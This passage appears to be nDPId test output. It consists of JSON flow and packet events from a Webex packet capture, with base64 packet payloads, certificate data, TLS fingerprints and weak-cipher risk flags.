QEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01111{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":412,"source":"webex.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":6,"flow_first_seen":1444570636270,"flow_last_seen":1444570638199,"flow_tot_l4_data_len":4110,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":685,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.200.11","src_port":47841,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00496{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":200377,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAdhAABAGpQxARHlkCggAAQG7y\/uPqpY\/cFV6qlAY\/\/9k7wAAFAMBAAEBFgMBADC+wNoJ2WMs\/kaYz+tTyOltIAk5CPeovLxPrlbRQogHN3MeURFd+ERbTcs80zOPM\/0="} +00494{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":201355,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAdlAABAGpQxARHljCggAAQG72qGkCGxJW\/ekoFAY\/\/8w5QAAFAMBAAEBFgMBADCClCt8nCyG8uA3DQ\/JHlSa+N9aejykoxJQAMeJ2cM3K1MpJK4JimEThmjEiLBqmOU="} +02251{"flow_id":21,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":203525,"pkt_caplen":1408,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1408,"pkt_l4_len":1374,"pkt":"ABoRAAACABoRAAABCABFAAVyAdxAABAGr\/xARGlhCggAAQG7yKr7mOUjBGct21AY\/\/+CIwAAFwMBBSAY+YDQBCZItaZYaxWGIUxU+pqzqQ1ndJ\/\/iJygcdZYFVRuLbm3W6+z7NmtECu4DNCVX3+94D4zU64u9KtpKvaSl0gdpa85Io+OH93MqLa2zYvwufyZMp4ZAKqvEFOONvxUvJ6Rf2\/hH9FDvu13VVhRm0fNBWPq8GQ0HoUb3JK2OYHFU9WVEiPl\/2tOhRvGR3SlCDLSN\/daritZkbGZIT3sl\/zwx5b4He1UhIO2Z99Ut\/uswhzPkS+V8RDG7vpOHmoVQRP8c6HLF0gj2rhuPXrGGUus9rTIJHklDGFyo6RuVkph9haSAXZeJxiuUfUUiDlUEkBJ2iACbcSjPpJi2\/qQNsA1aIy2xCNUPKH36DehBtKYuusFoliAIakNaIqnqM8xUAMzCjnNH+fQJT22s5IsN4swGJeoIIWq00qQxPfAQkJugdHgDhMpq9sJyMgMWAhG4lbSew5eb\/RFFsAlXZhzWcL+HDMCRFVCIucYsFkgslcnigqo9pKPoE+VCPV9X9lbBKcfZFNf8Us1vYsTyZXukNpOwW5e4G0crgDXHy4Em1fergSxApwwaUJNS8llaoIbvEe9rKELwWsMGfqKXCkXyD7kIBcUpHw6ZeYs8KE8RK61uqtaPv8JjwN4YwCR38kxo8xIDYGwNfAAkUua6nun0oUBqjdbgPijp37cUaJmyAUYcG3AZaF9oJtY9MI8O5tn5Jqjw2sE84foDGhHKrIB8r5VEzC6GSVlhq6X4eDyILulDEFD46vDqLVL2\/4Tr3qRtYXZnEnd0VWsKK4IVCC3PKG62yAkj+JnKPKRbmthZDCpK8gy\/7GKgbjCWI1AYya1qAZ\/IG+XjyulObOLtyqiRDAfXB2iVSfN3JAmezIbab4Pf1qFscRTJ48rMG9gJOTPffM19HeO9a\/tD\/QLto2HGQF7a56KvrbgcIcWtUD3Cv\/9PvdDgNWylvGDpWXw2rR9vfU+N2Dl1Ecen17SuE05+ujwu7t2jiIcmMFwH5q8qIEccpc8gtwkDLT4TeKwliXx7KVmlDsif6VAr5mwYauOCTmAfXz3Wr0xrJFQI6FeGFqTrR0H00Odj5F\/qcHk5JxgSMraIdnKVRiiQQsxLFoc2Kw6wIwDPvxbz93UxrZQaLMKu5o8KjU2bncXKo99VzfFk0nFaC26+\/7+H7x2XD3PGyYtVsItxRRuuvCbGkeuknwDeliAh6O0hM9qhVtIET5whZlb2PPvbUh9BCFW19il0VaScY1lw69WS\/XkL5\/9+1bkNuTjEAXXMGf5XRXk4wFuqlV4sBk65++IfaybgGO\/FPQHzcrV001Zy\/RwwHm\/qQV2qeNR\/mSnIFLuz1mbdLc0lp\/RrnBJFXdTs6+a46ktZyJ99DaeF715TYQ0mNmbksl2gX4GhUOA7d+h7PWD0tOdpXGpEf+INYJtg4BJ9meGHTjMGjZs30LtEBO1DUf19oS8pIljghRcg6h2R3CB3emU+oWse81mypFhzKf+S6UdVAX1\/398beeL3JqOjH0Dszm5ttSXHcGf33c3nsWjmm46g6Jnf5So6OCgTbCPRmhgaLaa40OjYnIp3g9\/JhRn6xLYtp+Ud5ZS1P7T1LKP2i9l1RLdP49imtCA0QlpitAIqOryU16iMmLIKNzQIzibqbciIe3zK16uWFigqS0fNlQKcGD0cx4vldfmuL51jQE9rH5vjgGgvfajqdhiygny49i7ZGxzWK72uvo109E79EzsPfLxcE9oMjD3XsRvTf5HFQMBACBwpCiWSOZI3NIV2SER6CDEMofuNUDvBcJ0bovrQ+QYzA=="} +00495{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":204878,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAd1AABAGIGFyHcwxCggAAQG7yb4bqxlT5FT3dlAY\/\/\/EOAAAFAMBAAEBFgMBADCd5\/s9\/7Ll17ljBqb5VLA6MoBUy2Myf9DpxuFNXAGpDBo9hpQ+AbvaV2rQ4qmOJyU="} +03390{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":211110,"pkt_caplen":2245,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2245,"pkt_l4_len":2211,"pkt":"ABoRAAACABoRAAABCABFAAi3Ad5AABAGpfXRxd6fCggAAQG7uYqEY\/z4e5wV5lAY\/\/+KCQAAFwMBBWBIqRCnjYw8AfOCURpJNQkDYpxFSqEWp9kGgM6+ZYVEbRytMlDHxnWfc8XZN0\/Jx7gF6TEHjiFhieHTDTuzl20HC5RG2oksahpab2gea21+eA1clGlLDvJNsylN8CXpCCMwwprtbgW1\/rIaDuT0+vCA3CBDI3e43enZ2EwtySD5WREZQAkB72UnhKctapztUkRwKQ2bJ43R12kihf+6z0YPr4q3WVPdfb3xCscmWD18tPnrOPmJrswfsHxOZpcc+RthLw5c7GmSU5xY8Yf2vN19SF43r0pye6in2J41Z2gaNvaxMpSrFZJNL\/5vm76QKvswMO\/z74tEJzSVPKnytSud9RC7wn3pzzVt9JVLF5dJoXUzNj59FuUDW5G\/tFH4tp9tQRBv4JD\/wjgi0YIxsJMnMJzFwTUrc8La9f8cBd0bVi\/sAtX2XfNp0zcaSUQtwD6mcSr4PkefKYzvskeHxFboGOlGiK32+wpwLwQQ0\/mseViunDbX7mwX1WMKgqMCgqXFO8Tr7906FOzo0py\/b\/xSsoj+IkFrOfDA1kpJJgryct26OBaleVQZN\/Y65WbI15Wt3eqdtx0pp2Rd0j6StI\/Q+\/Vu6McmpD5gO2pY8d5buH2TgUup\/jmD1ckiu2q7gGyBftClq4fwH7ZuEuauJn\/jby1BZwayn0+\/m2Jy1yBnsLiZ+5xlUsXalwMx3oGSWFxq+fdhU18NJO6CAKEafqdPbeJxL0qlMMeBWD4KCn0lPEyL0\/B7gG+GhSyLCSpxBNdZqJVpp4b5ehZgZCjRc9nDxzv0w3gGjDmNa2Aa8QKLewl9vaaFedxmbF9ESp9wdavX9sfzsRsNJVQTMLhDL6GTf5CnVmUo16Mq\/8bX8\/xGYqX86p60mSVxkgVjBhMiFNaODFwwUSWHuA7z23dEJflVFaV69cVoAuJJXK62xCxl7MRIzqwwz3kSWhRc+GhI+q7dLO4qSORsgbML4dEbVTNliss\/aH0aRdch8qZcTvWikQECyuh40wBuYkN3iQXI7xTKTsXHTU2qExx2UOIkGZDeRd53O\/W3+XlhiJ2ZPUhJ7sTXR176q5kj+rcdGgEshWWKpg55m8DNM5L\/fDWBTlE+2o2Mkq0H4DeMVHgzHCo0Ms8UD6F8FnjchVBfmHmFPxgoX+R\/PRv\/\/WQe+b7Kv0yL4VBi21cWYRau2NRC8zYoPQeEd563VJI+xljYAa15PdGXP7CFHMPN0gSQ+JqStWMZaOf4TRz9noSM7UtVQBAzngtvpuGMV6l+kvGrSQ0oasGJPmuROFlVsYZ\/CZgumw9vUO0XCH9\/v7JUyGEeIUZGBUT69ddZDk1QW\/WLKySV\/EubY2L9voSh+NFlmE6mi2hfn53mJaoyMfjY7lD4hzEgPtwwCQm0CSL\/Xy2WgRHGsHuNjw\/DxF67k5R7Kib3omVifzmQ3h+4zu5w01JhNagkG42xiEGjaNeOrBNpgu\/eyg0RZFDNaSIfe6O+pQAVGlg78dsHgNlQzhWl80jnNBKiKB4YxhXqK1BddjVMXrJUbFRfRZoyXX+GFMGymnQabyjEmYSMEju8C6VgiM96XB9w0acHReqz51t6+PObTup4iE51KXW7BQJCtGWHY230GR8ZA6otFcHTCR3A0I6LSvHs6Tg7wsTQMEdo+0I9QJfK8gwuYFV8AcB8DXpLAUOcMVDhQ7roZVrHP3dcAgiOAmOAErr4vjrwTr8KMZ4O\/z0emWAxmLSW3zqUzB9g+3RoWqx2NavuU5gtmc0766kh2bm6VDt7AK45IcabzPKwwdpsHgfWJb8E\/fG1pF+Z1mJyxyz4uP+TJhB+7FFUwYQzwWGgbRcDAQMAe+ZhlsRtShTkg2fyevfKzdzv+GBE1hQQtOhsn3QgyFEBLjPVI8L5PlpSSEq4VM7bJLFmEXM78FpxLY0XabtQRgUsd669ge2ZN2e+T5DjcJPhk0UGy\/7MyAi2xpy9TqsmrXspvvhlECVbfAyegLlrBt+0lYXdP14hvwjSRu8JJXg2vqB8kQmumF6fcnSV60Qe2jVahhghcNMpX0N\/qjO5Ovxs922FmuGmx28RmfVnwhbZMWLS1YFVcOLqiOt\/6yTpLv63MAedZaCcKtkAcMe0G6REe4sldgkurKzkBAOb7WzYhMGog5NTkJX2kJT7tv9y07GZo0nuCQlTM3ZsboApMZP+7cJqXuD\/BwIuw2wEBAT1Wae07bUJOuS5k5k6fYAaXiSUyHJgQg+VTMUbIcVSybfLEetZIGPkz9nw6maaY\/sNPbGu6yvEL50s7Z+3BlZ2A8exqziAHLi3V1hp5nXLcKVClFv7fnkYuikhLVgN23\/mJRITPSgOVB4zbN\/UtCN+Zyaos6KX23xiqOFLfdJldq82L5dt+P2\/xZ5ZDvv\/FnCNVo5LoyVEAeya9mIk3afznCnNuhb5a\/2enaU8gYvJz\/eqHHu+ZtY27iYzTaxqrl2ndFC7kTyeLUb1ZYRbjwbRb8JrZjmZWIdcCRAWS4PyqKtzl5cQqqq7BKHvqlWayoSgoXG1YUyM6ecUEjLP0IjHORAlPfuonr+WCdIgJNb6Lik9TMnkmtoTO8W8w55FBc2cgrp6YsbhW64d5LgxE440r+1GSqpMQuuZ09mDfKC1V3kPVfzOoGv0qOKIOI0LCAvMrKldxU0\/371NprLzkn+MzYc+6tnaaTa+d4dnCOxa+dsBNE4M7CQpwiOIfiZQXBLHs+BKAsQOI9SN+bFxGd54ByEGe6rquTSNA0HP2I6cpKOMrdV9288rhbIO6Uf2hkJCsbc\/emCCd4cg7WwBwprwtd4kmg1E99CFqRvUrOkgG4ASgNdBjV0500oGGZOfGvBlULWxfRJ\/TvkgB0\/UsZk9FQMBACBIp8wb88lQWNdzs2Pb2nZJRWd7eiMKNXHcuIJts1BROg=="} +03392{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":211737,"pkt_caplen":2245,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2245,"pkt_l4_len":2211,"pkt":"ABoRAAACABoRAAABCABFAAi3Ad9AABAGnHxARHmZCggAAQG74S8Y3F5K5yO0lFAY\/\/\/VXgAAFwMBBWAwLX8ZpC+NjLNrThU\/Qiu7MZG0sO8PFM2Y8cX67I+4GS4myH53ZMqEe8nFxFhsL89AjQ4jVY\/oTPkHSVrq6JwXoUPXAd60UI1\/CcpPBlj\/ksEAtFL1gPkgGAnKl6RcFXh06W3R+bNqbwxP4LbNOQQY27QRro1L1s3NcPfx3LDThjwf608Rog2U\/Hxaw2+DS\/DmTrHJL6rclrmHDhaTsOXzEZm2FUr31NKhu2WCPAa\/\/mjbu8Ur86JPEDdmYiD6zJ+2fzqqzTQ9Gs0QLDIoyCETJ9K2yJ6mHDhEDorBwxIv\/WMGQ838uIAw+2Yf6GZOFEDwgvUXt8B7E9BRq9Eu1TfhVcoNIZJFIAoiKID1teFchbo1Hyn4U1OVk2faVixZbhEHhqT8HQyvSjgdOkOt3nvSKy5rzbRL+uttdTV3BCbbXfCRt4uUI6qMTFBjp2UsrvVxu4qSj4TzMym5YyhOlldW8EbAeBaGWoi1W842kR\/DFhsFGxRkLpEAQGXUuxB35ssimoJjYPCsCr3WF0gk8cC5iY8W6WshhREPJYgJIQJ\/moz+DJBZTyEcRfpcmjATwxO8rnCQxHEIjXGz2KjdmOG2vSkJOVEqr422zYuhJz38igYVpTNHkVxHt\/bVIBz\/5oczZwrSH40g0fjlidkLHQS5a\/Z9I3cj3GRbUDDnTMl8EvOf\/L+QTeOF\/3xf2NIcDhtCwQcDnO0D1JowYRbx9klMDwzzwSJK7um3RiDzrqHJWKAemZO+XaAzs6mG3TA\/1JrsFH7FL2CONlfyJHx1jvc2gQ33j9\/3lEy2\/+ButxDDU9awHYovEUcSMP\/qjJgPNjRLnzlkqlETK1so\/Odxmot6NGMv3TFWnahFcdbkBp+HTGXaP4NTS\/Flb4m5ykhnnEyXVjPRVEiWUL95\/H8s0GFx53XN\/9TdvYwzi4wClz61AWfbHZCihcmoSRgSWmOBElVA1h1csdciy6US75mMvpdUsP\/uCi5Zm5eLQz6OVGTkE\/OZB+ZJD\/TMXT5THU4hwDQMn7K5cezP98Ln\/e1+OIGEwkSzsWXfvh\/5gmjleCiRHsvxGVqKKxEvwiShn6UXjVYil93vyUGD7kU9Lbpyn+elmI1kCCl0tuuXFBzDSSAXiDHSlyVqD7fVFcgbUsYMBmn9JWnq\/tfHjbOxJwF\/N7bjn8vbxLjehD84NIYLGOn1bAI0OeIuuP2v1\/htfdzui1fcigF8hmSYomcOyCVeq5nT8bAIozkFv6aNzU+fJqgydQlnpoqE6eZcvkRsG96LeJiIs669DTNLgP71ZWdkMaeur6KelTJoUZ9RimFoTAJxak6CShYXWCZAQ0cq\/IAwuzS9LWRfSZy4rtPxyYe44uH6BPay2oW+91ZFStjES+\/dOJ8jNVTSPa0+Cr8jIspeXXbWyqrpM\/HK6xM1OXl7QyTKVgWWq3dkOwIb+3WjxHB8EtJPMV7LlVggKZk\/dxNBaN0PEvOAnLioQpsR3l24kZnJr3KylVsFsQVG\/xFfX8PWoVutljM9MLvnjOYC2dd8TZEbpf6o9jvJHBATbBKIQw\/eXMQitoNMISXU6UUcWQLjYglmThUkEU6F27pAvmlmKa4SjWIkMTr2eA5u5VZsSzscvP8QibmEKpg8AEE6KiQI9SNNFcCoFHCtMkWaeaqRUkpAT7RNQ3o70jyZLIdWQBMKhcPE4yrrQtCpdBkmf\/RlHMobSakmS9u+LZwjEZrcCofeHgDzENuSM7xEPIJ+GrC3cdX8Up3e6s35vXcsywe1AZEUukKAjGbcFW9P6PksoMQudKZQgrY2NA+yepkIG3rg0eQ+CCEKB\/Xas1RtvN8QWBcDAQMAOc27yvY7FIJcRuB+j6sqt+3JjDpMvi3BKr5GfGDFKnOeYy4i7qdxOPRjXbRLuhZpEiZbu6fAyX0xrWV8cK7ZucQsmE\/kdwuToIg2PbUfZKR3RlXKuRgUhgAilWCbs0JAYM7I6SGb81A9jKGTZUJKK1zMhXj0IuIiEkuHmvLGuC+nnZWgfZCBNYc38UF2f9DsVNAfnS09bO9HEDCMleKUCpQ0LEM7oteYhZETtZb9Y+xemK+TPWGOT+TlZvlEEE3FKRjDdLxelebkCzwgHxgGBatYmvE2mb8pd30dYeSEYf3XQdauToAZpU2dpqIYKG1OuYgj\/XxMz1qsHobHQULq494dfD+8ql9hivT1yV0tc2PCavYedg5YOV1RYid+b5Ik4DzT3QshRJXrwgr6ZM8VqgIpIBtluEP0Kt\/S2PZrmChVtafPqgV7pnS5VdWgy1Me9MKlvmkjLO9MmmTZR6EMhd1FBWVZWV\/+wvPEpepamB69SWyLTQ16AqTMt0mJq8RhjrWcafqIRzb7bn2XpWqZwn0wYkv7L27\/ORlZXXpqsUND4VLQIaC092AiCKT2zidGwyFInBaeBKTio0BetL3qP7ZyB8QCl3DYDn41Cdx76zCnL+A1ausO1PBR7I+Sl85bn5X3tH6QhtLgorunc0iQkr0WOQPB0WIKUI4cDj0wfjoRLUDJ3wTMHiH6QCawDkIPaWLvFxfXZWCp63KX2Uti5JGhhuSLa2Ac9N6RcIGzskPl68UlZAR+0gmGEHYVa22tUCSZ2d36spGZMn3K4s3scj\/Na6KLvsI4GV1TXvL7oNvbMLdeUfX\/2gFYjHN+2jGrFtWmvbHajuC3\/fTFgWsedk2+cnM23ZQEHJNpaAydnWsDvp1CjNLPzqXxmGWBM6eoNmVAkNDd3glxS2fDd+ScafZM1QCBw\/WO+SvRXrWKcZ7K8VAtFAe9Pb0Rfjr+XRAf9pGjrykMP\/KYHsZXsRRE5vXE\/1dvCTNVi1ISVXagvJtihI0rq7CyBrRVm9HMkqfzFQMBACB4uyAggbr8leqvh4SMZbnXe3zvVEUIp3e2CJOZK3lXhg=="} +03866{"flow_id":23,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":212212,"pkt_caplen":2608,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2608,"pkt_l4_len":2574,"pkt":"ABoRAAACABoRAAABCABFAAoiAeBAABAGq0JARGlnCggAAQG7oar5IvZFBt0c6VAY\/\/9g+wAAFwMBCdCK5dEYCE9oHkE3SpubThJUXHGcidWdcxDMgTa12LtrUw8bMQZCwdunM8HzMEz2zgyp5AvwwEuRQ0x+Fl3+\/AqPwG0s5WMib3\/d6T+l+iiahv346Rf9OTEr0ILMEJkx9frczSG9KytDHXomCsNwVbxwrqWB5ATREJ1nAQ9E+LzVpP\/U+uMEO0G5j1MMku2xOTETmqZ5aKQmFG7USDFkRc3Roj82iIzSZKyCTHGES60pTDDd6m6i5UimAPWpS06e5LgtwHKgqB3Pl4UE7UEkifQ2x25d5y16grqaFUwLyEsoRvYSUTGOE3i6D9ivBoPePih2fooAVPAc3Fl4KYBbEhJb2yupgYoVWqMYMr3Z2v9eOC8t9tl\/VdulNM1pbdZ\/jWn1UXzjnwuZjqDZ1rKEo042qrE3H\/TA78FScV21e8lPcS+jaxgm1DQ8lRbu\/XQE1qTsgQypn381Q7oug1ZgEpy0dVt7eVI1xiDAdOFmRy3D1xBRz0T2rcFTG01GBw17Dv0UuI+zNjo\/4PawXO8lrpfG2412ABWrfn8UEByN3I8Zj+wsBDDhRx8nVJmx\/STQHEIAWD7qvtEQffwdg1FsqtP6n3lu1smBumVNRLiz01whCzi1nj6ARxgXNkjc6y+vRC8sgxdmMlOqvgGx4YXKiXl8e8FuMTN6yjf44o85ZlaVt56hIkK\/kN7rMfz0ZGXOEl3rczDkaGgzZZZqiNOsHECPOYlJczABbsqx\/kjo4gZNImKtqhCSLSG2iDEtbYFYkxMCmPkQ7BKn6WjxndfsdbWOn89JHSHwX6ycxoFUIQNYEGG7r97JSH9brW8FDRUmKmoQjJILO6Rl1L3AhrdhnmGiDvj+GMwZCmFQDU1cYH2PViJu+MycMRl5UTiKnyOMeEqTzq1+iUmOHHYWvVsC0V6wKkOYQqBmZigC1GESOHd4qezBl8LqxeTLpO9LY9\/Ygw+ofYIKrY8rkn4FN9L4gK4e9YNxqdzcw5iLxS9+dQKynbIgwQAeq80NjGPqliC7hPhnauZpyYUxAdT3H\/wjXxYmYAaQKLkOaW0SknLbVO3M0voO5ngCPOvRZsxog90A9isviQ5ZiafJVT6Us4TDvb6YhD85MIW4tJUrfYxQV3Ro6Y3JguaaKkfpHRxAhWjtXC1AK3sVdsChFCxVXzZ+P35Oyu\/nALPWCfqvgFBBQaYcxyaSk9R6qXOV8OC3GpacYLvYmhBiT+sma4\/iyfuY3rmGL7oSAtLoynpWooJL5lcLxTk4teSYhgE4\/OFv0IhYy33fa2DRDoPqxbWQeUo4EswfdMW1NeqRIyCpcJNu+rO5ex9Q\/ecqlurBUOLi01sc5rjoYhegURRPTGTqoBlLv4KMskPUkwqfUqHbYvwQRprqTRdXhmx26sxN2CI\/QN5EDt0WvmYQfuXIoP2IpkxYUeBsgMdMuNFwR5CIiXq9sFDTAXFvaxfDOJinGWv\/eOyJWVkIGZkX0n+wN46Zw\/pVSMBMbXfZHzMGgqavn4qdDoNyCyjsIa3x8suJk+q5+nv0yh4k+iKTKEanfCF7BYqAwYrD1tVJvIqnC+rV8b9Zy4NyLD7bzv2UBm0nimg3XFjOV98qoN0iyDnvUOv6yZZXdzcCffKuu4nWivmIhoWUnT61sVBWiElNE8YgkowiDHi+mxlc\/oNcBrARNn0P0igbhat3b1akdrCxDR2\/U6cH0oaNhCEolXs\/yKaJ95xLb8hTk9mYTOH\/uROpjf7JG9OHNJJcq3q9VWi1fDWOv7\/F94Z7pB+bdMIBNzGgsj1i7ZXbkcEEyPk9T2grNbzHznbwZfLISKTTNoW5jiyFMHEGllFIE16v8dHxQzajq9OWj0SltehQ119DBfCxIxHvvpFPyx0eIWDHKWmwCeN7xj4bXDMLYJupbD4VKHtRRtv5o4YQ675DoWOVk78XsnH4AB9NqX7TQD\/D7sYMUPQuBwD+c4m+uyrKfO4QqBNnCXQaxhnzlXc+8CPcFDgj9b8sd2\/ke2yefxzj0tFSbEvGYhFiA65W79kISOzBxUPbVXhtCj1s0209bdvsrZF5ikonuKFdymCqveoneVPXQESGOo9bws2D7HuDHB4W\/j+dDmQBLQz336V+9uLZ8tvBdTscoUMqwbDTUd5N6d0dmDCR3B5pvftwil+ftPXSP6mmn+FxUWV5nbr\/M98wXANPMJ+UkVbPg8qGypyZ2Fiyptc7PkKevXGlPGe5fVc0Il2F0t4RTVTFOVGE3yThumtuHr9bfKJXT3XkhFjf+8TVWF3+Td2KC+4AeOBHbQYSDxVD3g2bGi0s4uP4C4KjDCWoD61C230SjXICRct1NF\/axFUSFaw8\/rq75gL5iIHvQ6vFd6nQLTFPcwrjLF505QOhebJ+VrU+KJYBUcVqgo7M6X4TY1e+pTlQd+Y+zzsHMh6T3BwcEDOlFzZwzOyDc8m6jt0eZ2ZuolmucLjXEwSb7wM7xpJ0bGVvbIpYRtY0u2Vkme+BkLi9GT8HvNeKx79Gp4qn47tv6sIMY5d5JEVsQtSdmOHVUnn3AXdGKp4r2+ZOL+p13hTWXyoqCerenzG+2Bjpp1aMab6Yew92WQq+3yGhDXmkOv1sBHTcOpoG+oloye3gAsg+uAxYkwWrHzUU9zBYVy\/Vz+XtEkenIZ